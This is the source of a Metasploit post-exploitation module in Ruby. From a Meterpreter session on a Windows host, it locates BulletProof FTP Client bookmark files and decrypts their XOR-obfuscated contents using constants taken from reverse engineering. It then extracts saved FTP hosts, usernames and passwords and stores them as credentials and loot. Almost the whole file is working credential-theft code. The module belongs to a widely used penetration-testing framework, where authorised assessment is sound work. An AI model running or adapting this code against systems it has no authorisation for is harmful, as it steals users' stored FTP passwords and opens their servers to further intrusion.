331 lines
8.8 KiB
Ruby
331 lines
8.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::UserProfiles
|
|
include Msf::Post::Windows::Registry
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Gather BulletProof FTP Client Saved Password Extraction',
|
|
'Description' => %q{
|
|
This module extracts information from BulletProof FTP Bookmarks files and store
|
|
retrieved credentials in the database.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'juan vazquez'],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_config_getenv
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
class BookmarksParser
|
|
|
|
# Array of entries found after parsing a Bookmarks File
|
|
attr_accessor :entries
|
|
|
|
def initialize(contents)
|
|
@xor_key = nil
|
|
@contents_bookmark = contents
|
|
@entries = []
|
|
end
|
|
|
|
def parse_bookmarks
|
|
if !parse_header
|
|
return
|
|
end
|
|
|
|
until @contents_bookmark.empty?
|
|
parse_entry
|
|
@contents_bookmark.slice!(0, 25) # 25 null bytes between entries
|
|
end
|
|
end
|
|
|
|
private
|
|
|
|
def low_dword(value)
|
|
return Rex::Text.pack_int64le(value).unpack('VV')[0]
|
|
end
|
|
|
|
def high_dword(value)
|
|
return Rex::Text.pack_int64le(value).unpack('VV')[1]
|
|
end
|
|
|
|
def low_byte(value)
|
|
return [value].pack('V').unpack('C*')[0]
|
|
end
|
|
|
|
def generate_xor_key
|
|
# Magic numbers 0x100 and 0x8088405 is obtained from bpftpclient.exe static analysis:
|
|
# .text:007B13C1 mov eax, 100h
|
|
# ... later
|
|
# .text:0040381F imul edx, dword_7EF008[ebx], 8088405h
|
|
# .text:00403829 inc edx
|
|
# .text:0040382A mov dword_7EF008[ebx], edx
|
|
# .text:00403830 mul edx
|
|
temp = @xor_key * 0x8088405
|
|
temp = low_dword(temp)
|
|
temp += 1
|
|
@xor_key = temp
|
|
result = temp * 0x100
|
|
result = high_dword(result)
|
|
result = low_byte(result)
|
|
return result
|
|
end
|
|
|
|
def decrypt(encrypted)
|
|
length = encrypted.unpack('C')[0]
|
|
return '' if length.nil?
|
|
|
|
@xor_key = length
|
|
encrypted = encrypted[1..length]
|
|
return '' if encrypted.length != length
|
|
|
|
decrypted = ''
|
|
encrypted.unpack('C*').each do |byte|
|
|
key = generate_xor_key
|
|
decrypted << [byte ^ key].pack('C')
|
|
end
|
|
return decrypted
|
|
end
|
|
|
|
def parse_object
|
|
object_length = @contents_bookmark[0, 1].unpack('C')[0]
|
|
object = @contents_bookmark[0, object_length + 1]
|
|
@contents_bookmark.slice!(0, object_length + 1)
|
|
content = decrypt(object)
|
|
return content
|
|
end
|
|
|
|
def parse_entry
|
|
site_name = parse_object
|
|
site_address = parse_object
|
|
login = parse_object
|
|
remote_dir = parse_object
|
|
local_dir = parse_object
|
|
port = parse_object
|
|
password = parse_object
|
|
|
|
@entries << {
|
|
site_name: site_name,
|
|
site_address: site_address,
|
|
login: login,
|
|
remote_dir: remote_dir,
|
|
local_dir: local_dir,
|
|
port: port,
|
|
password: password
|
|
}
|
|
end
|
|
|
|
def parse_header
|
|
signature = parse_object
|
|
if !signature.eql?('BPSitelist')
|
|
return false # Error!
|
|
end
|
|
|
|
unknown = @contents_bookmark.slice!(0, 4) # "\x01\x00\x00\x00"
|
|
return false unless unknown == "\x01\x00\x00\x00"
|
|
|
|
return true
|
|
end
|
|
end
|
|
|
|
def check_installation
|
|
bullet_reg = 'HKCU\\SOFTWARE\\BulletProof Software'
|
|
bullet_reg_ver = registry_enumkeys(bullet_reg.to_s)
|
|
|
|
return false if bullet_reg_ver.nil?
|
|
|
|
bullet_reg_ver.each do |key|
|
|
if key =~ /BulletProof FTP Client/
|
|
return true
|
|
end
|
|
end
|
|
return false
|
|
end
|
|
|
|
def get_bookmarks(path)
|
|
bookmarks = []
|
|
|
|
if !directory?(path)
|
|
return bookmarks
|
|
end
|
|
|
|
session.fs.dir.foreach(path) do |entry|
|
|
if directory?("#{path}\\#{entry}") && (entry != '.') && (entry != '..')
|
|
bookmarks.concat(get_bookmarks("#{path}\\#{entry}"))
|
|
elsif entry =~ (/bpftp.dat/) && file?("#{path}\\#{entry}")
|
|
vprint_good("BulletProof FTP Bookmark file found at #{path}\\#{entry}")
|
|
bookmarks << "#{path}\\#{entry}"
|
|
end
|
|
end
|
|
return bookmarks
|
|
end
|
|
|
|
def check_bulletproof(user_dir)
|
|
session.fs.dir.foreach(user_dir) do |directory|
|
|
if directory =~ /BulletProof Software/
|
|
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")
|
|
return "#{user_dir}\\#{directory}" # "\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
|
|
end
|
|
end
|
|
return nil
|
|
end
|
|
|
|
def report_findings(entries)
|
|
entries.each do |entry|
|
|
@credentials << [
|
|
entry[:site_name],
|
|
entry[:site_address],
|
|
entry[:port],
|
|
entry[:login],
|
|
entry[:password],
|
|
entry[:remote_dir],
|
|
entry[:local_dir]
|
|
]
|
|
|
|
service_data = {
|
|
address: Rex::Socket.getaddress(entry[:site_address]),
|
|
port: entry[:port],
|
|
protocol: 'tcp',
|
|
service_name: 'ftp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :session,
|
|
session_id: session_db_id,
|
|
post_reference_name: refname,
|
|
username: entry[:login],
|
|
private_data: entry[:password],
|
|
private_type: :password
|
|
}
|
|
|
|
credential_core = create_credential(credential_data.merge(service_data))
|
|
|
|
login_data = {
|
|
core: credential_core,
|
|
access_level: 'User',
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
}
|
|
|
|
create_credential_login(login_data.merge(service_data))
|
|
end
|
|
end
|
|
|
|
def run
|
|
print_status('Checking if BulletProof FTP Client is installed...')
|
|
if !check_installation
|
|
print_error("BulletProof FTP Client isn't installed")
|
|
return
|
|
end
|
|
|
|
print_status('Searching BulletProof FTP Client Data directories...')
|
|
# BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files
|
|
profiles = grab_user_profiles
|
|
bullet_paths = []
|
|
profiles.each do |user|
|
|
next if user['LocalAppData'].nil?
|
|
|
|
bulletproof_dir = check_bulletproof(user['LocalAppData'])
|
|
bullet_paths << bulletproof_dir if bulletproof_dir
|
|
end
|
|
|
|
print_status('Searching BulletProof FTP Client installation directory...')
|
|
# BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files
|
|
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
|
|
progfilesx86 = progfiles_env['ProgramFiles(X86)']
|
|
if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/
|
|
program_files = progfilesx86 # x64
|
|
else
|
|
program_files = progfiles_env['ProgramFiles'] # x86
|
|
end
|
|
|
|
session.fs.dir.foreach(program_files) do |dir|
|
|
if dir =~ /BulletProof FTP Client/
|
|
vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")
|
|
bullet_paths << "#{program_files}\\#{dir}"
|
|
end
|
|
end
|
|
|
|
if bullet_paths.empty?
|
|
print_error('BulletProof FTP Client directories not found.')
|
|
return
|
|
end
|
|
|
|
print_status('Searching for BulletProof FTP Client Bookmarks files...')
|
|
bookmarks = []
|
|
bullet_paths.each do |path|
|
|
bookmarks.concat(get_bookmarks(path))
|
|
end
|
|
if bookmarks.empty?
|
|
print_error('BulletProof FTP Client Bookmarks files not found.')
|
|
return
|
|
end
|
|
|
|
print_status('Searching for connections data on BulletProof FTP Client Bookmarks files...')
|
|
entries = []
|
|
bookmarks.each do |bookmark|
|
|
p = BookmarksParser.new(read_file(bookmark))
|
|
p.parse_bookmarks
|
|
if !p.entries.empty?
|
|
entries.concat(p.entries)
|
|
else
|
|
vprint_error("Entries not found on #{bookmark}")
|
|
end
|
|
end
|
|
|
|
if entries.empty?
|
|
print_error('BulletProof FTP Client Bookmarks not found.')
|
|
return
|
|
end
|
|
|
|
# Report / Show findings
|
|
@credentials = Rex::Text::Table.new(
|
|
'Header' => 'BulletProof FTP Client Bookmarks',
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
'Site Name',
|
|
'Site Address',
|
|
'Port',
|
|
'Login',
|
|
'Password',
|
|
'Remote Dir',
|
|
'Local Dir'
|
|
]
|
|
)
|
|
|
|
report_findings(entries)
|
|
results = @credentials.to_s
|
|
|
|
print_line("\n" + results + "\n")
|
|
|
|
if !@credentials.rows.empty?
|
|
p = store_loot(
|
|
'bulletproof.creds',
|
|
'text/plain',
|
|
session,
|
|
@credentials.to_csv,
|
|
'bulletproof.creds.csv',
|
|
'BulletProof Credentials'
|
|
)
|
|
print_status("Data stored in: #{p}")
|
|
end
|
|
end
|
|
end
|